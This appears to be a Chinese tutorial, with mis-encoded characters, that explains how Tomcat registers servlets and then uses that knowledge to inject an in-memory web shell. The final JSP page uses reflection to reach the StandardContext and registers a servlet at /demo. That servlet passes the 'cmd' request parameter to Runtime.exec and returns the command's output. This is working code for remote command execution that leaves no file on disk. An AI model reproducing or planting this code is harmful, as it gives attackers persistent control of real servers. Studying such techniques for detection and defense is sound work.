Servlet
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
? ? ? ? xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
? ? ? ? xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
? ? ? ? version="4.0"
? ? ? ? metadata-complete="false"
>
? ? <!--注冊(cè)Servlet-->
? ? <servlet>
? ? ? ? <servlet-name>hello</servlet-name>
? ? ? ? <servlet-class>com.naihe2.testServlet</servlet-class>
? ? </servlet>
? ? <!--Servlet的請(qǐng)求路徑-->
? ? <servlet-mapping>
? ? ? ? <servlet-name>hello</servlet-name>
? ? ? ? <url-pattern>/hello</url-pattern>
? ? </servlet-mapping>
</web-app>
testServlet
package com.naihe2;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class testServlet extends HttpServlet {
? ? @Override
? ? protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? resp.getWriter().write("123");
? ? }
? ? @Override
? ? protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? doGet(req, resp);
? ? }
}
讀取web.xml
ContextConfig#webConfig()
在這里對(duì)其xml文件進(jìn)行讀取
ContextConfig#configureContext()
遍歷webxml中的內(nèi)容,將內(nèi)容賦給新創(chuàng)建的Wrapper
將類(lèi)名添加到Wrapper
將Wrapper添加到context中
StandardContext.createWapper()
在這里添加映射關(guān)系杠输, 將 url 路徑和 servlet 類(lèi)做映射阁危。
遍歷內(nèi)容,比添加到StandardContext的list中
這里判斷l(xiāng)oadOnStartup是否大于0,如果大于才會(huì)添加
standardWrapper中的loadOnStatup默認(rèn)為-1
在servlet的配置當(dāng)中端蛆,1的含義是:
標(biāo)記容器是否在啟動(dòng)的時(shí)候就加載這個(gè)servlet拓劝。
當(dāng)值為0或者大于0時(shí),表示容器在應(yīng)用啟動(dòng)時(shí)就加載這個(gè)servlet巢株;
當(dāng)是一個(gè)負(fù)數(shù)時(shí)或者沒(méi)有指定時(shí),則指示容器在該servlet被選擇時(shí)才加載熙涤。
正數(shù)的值越小阁苞,啟動(dòng)該servlet的優(yōu)先級(jí)越高困檩。
由于我們要注入內(nèi)存馬,且沒(méi)有配置xml不會(huì)在應(yīng)用啟動(dòng)時(shí)就加載這個(gè)servlet那槽,因此需要把優(yōu)先級(jí)調(diào)至1诈铛,讓自己寫(xiě)的servlet直接被加載
遍歷list驻民,加載wrapper
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
? <head>
? ? <title>$Title$</title>
? </head>
? <body>
? <%
? ? HttpServlet httpServlet = new HttpServlet() {
? ? ? @Override
? ? ? protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
? ? ? ? BufferedInputStream bis = new BufferedInputStream(is);
? ? ? ? int len;
? ? ? ? while ((len = bis.read())!=-1){
? ? ? ? ? resp.getWriter().write(len);
? ? ? ? }
? ? ? }
? ? ? @Override
? ? ? protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
? ? ? ? super.doPost(req, resp);
? ? ? }
? ? };
? ? //獲得StandardContext
? ? Field reqF = request.getClass().getDeclaredField("request");
? ? reqF.setAccessible(true);
? ? Request req = (Request) reqF.get(request);
? ? StandardContext stdcontext = (StandardContext) req.getContext();
? ? //從StandardContext.createWapper()獲得一個(gè)Wapper對(duì)象
? ? Wrapper newWrapper = stdcontext.createWrapper();
? ? String name = httpServlet.getClass().getSimpleName();
? ? newWrapper.setName(name);
? ? newWrapper.setLoadOnStartup(1);
? ? newWrapper.setServlet(httpServlet);
? ? newWrapper.setServletClass(httpServlet.getClass().getName());
? ? //將Wrapper添加到StandardContext
? ? stdcontext.addChild(newWrapper);
? ? stdcontext.addServletMappingDecoded("/demo", name);
? %>
直接訪問(wèn)demo發(fā)現(xiàn)404
訪問(wèn)index.jsp注入內(nèi)存馬
再次訪問(wèn)demo